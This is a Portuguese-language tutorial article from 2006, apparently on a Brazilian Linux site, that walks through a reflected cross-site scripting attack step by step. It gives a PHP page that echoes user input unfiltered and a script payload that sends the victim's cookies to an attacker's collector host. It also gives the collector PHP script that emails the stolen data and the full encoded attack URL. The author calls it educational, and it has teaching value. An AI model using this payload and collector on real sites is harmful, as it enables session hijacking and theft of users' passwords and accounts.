XSS - Um exemplo de ataque

Esse artigo tenta demonstrar aplicações de um ataque de XSS, uma técnica muito presente em nosso dia-a-dia.

[ Hits: 42.358 ]

Por: Ragen Dazs em 10/10/2006 | Blog: http://www.orkut.com


XSS - Um exemplo de ataque



Vamos direto ao ponto. Um exemplo de código PHP vulnerável:

<?php
/*
 * Um simples exemplo de cookies que geralmente
 * são utilizados em sistemas web.
 * PHPSESSID -> SID padrão da configuração do PHP
 * login e senha -> cookies ficticios
 */
setcookie('PHPSSESID', 'meu_sid');
setcookie('login', 'meu_login');
setcookie('senha', 'minha_senha');

/**
 * Parte vulnerável do código: Imprime os dados passados
 * pelo usuário sem nenhum tratamento
 */
echo $_GET['var'];

?>

O nosso objetivo


Eis o JavaScript que iremos atravessar para nosso alvo através da variável $_GET['var'], do script PHP acima:

<script>
  document.write('<iframe width=1 height=1
src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(/ /g,'')+'></iframe>')
</script>

Breve explicação meio longa


Nosso objetivo é atravessar o JavaScript citado acima mas, em outras palavras, explicando o JavaScript, nosso objetivo é simplesmente capturar os dados de cookie do www.alvo.com e enviar para o www.coletor.com.

Utilizando cookies em JavaScript


A instrução document.cookie retorna os cookies da página HTML. Ou seja, um código <script>alert(document.cookie)</script> no script PHP acima irá produzir o seguinte alerta de saída:

PHPSSESID=meu_sid; login=meu_login; senha=minha_senha

Complementando a instrução com "replace", document.cookie.replace(/ /g,''), iremos remover os caracteres em branco do alerta de saída citado acima. Ou seja, agora teremos:

PHPSSESID=meu_sid;login=meu_login;senha=minha_senha

O coletor de dados


Sob nosso domínio temos o site www.coletor.com, que por sua vez receberá os dados do cookie enviados pelo nosso script através do script rc.php que enviará os dados para meu@email.com:

<?php
if ($_GET['xss']) {
   mail('meu@email.com','Dados capturados', $_GET['xss']);
}
?>

Testando


Acesse a URL:

http://www.alvo.com/codigo_vulneravel.php?var=<script>document.write('<iframe%
20width=1%20height=1%20src=http://www.coletor.com/rc.php?xss='%2B
document.cookie.replace(/%20/g,'')%2B'></iframe>')</script>

Nota para tradução da URL:
  • %20: Caractere em branco
  • %2B: Sinal +

Se nenhum erro do interpretador do JavaScript for acusado em seu navegador, que geralmente é exibido no rodapé da página (ou alertas mais explícitos quando se possui depuradores de JavaScript), verifique o meu@email.com.

Possíveis utilizações


O impacto desse ataque é mais grave em sistemas interativos, como fóruns e webmails. Pois como mostrado, com os dados de cookie é possível capturar senhas de e-mail, de usuários e administradores do fórum vulnerável. Para aqueles que se interessaram por esse artigo recomendo a leitura sobre seqüestro de sessões e do artigo abaixo:
Gostaria de salientar que as informações aqui contidas são de caráter educativo. Não me responsabilizo por sua utilização, ou eventuais dados ao seu sistema ou de terceiros.

Considerações finais


O ambiente de testes desse artigo utiliza a configuração padrão do PHP.

   

Páginas do artigo
   1. XSS - Um exemplo de ataque
Outros artigos deste autor

Referências ou ponteiros em PHP

Montando um workstation de desenvolvimento web em GNU/Linux

Adaptação das empresas de TI aos trabalhadores da era digital

Usando cache na classe Fast Template

Tratamento de dados fornecidos pelo usuário: projetando sistemas com mais segurança

Leitura recomendada

Autenticação de sites com PHP e MySQL

Segurança em PHP

Criptografia do método GET no PHP

PHP: Programando com segurança

Criptografando mensagens com PHP

  
Comentários
[1] Comentário enviado por vagnerd em 10/10/2006 - 15:38h

Muito interessante =D
Parabéns pelo artigo!

[2] Comentário enviado por balani em 11/10/2006 - 01:05h

Muito interessante e util


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts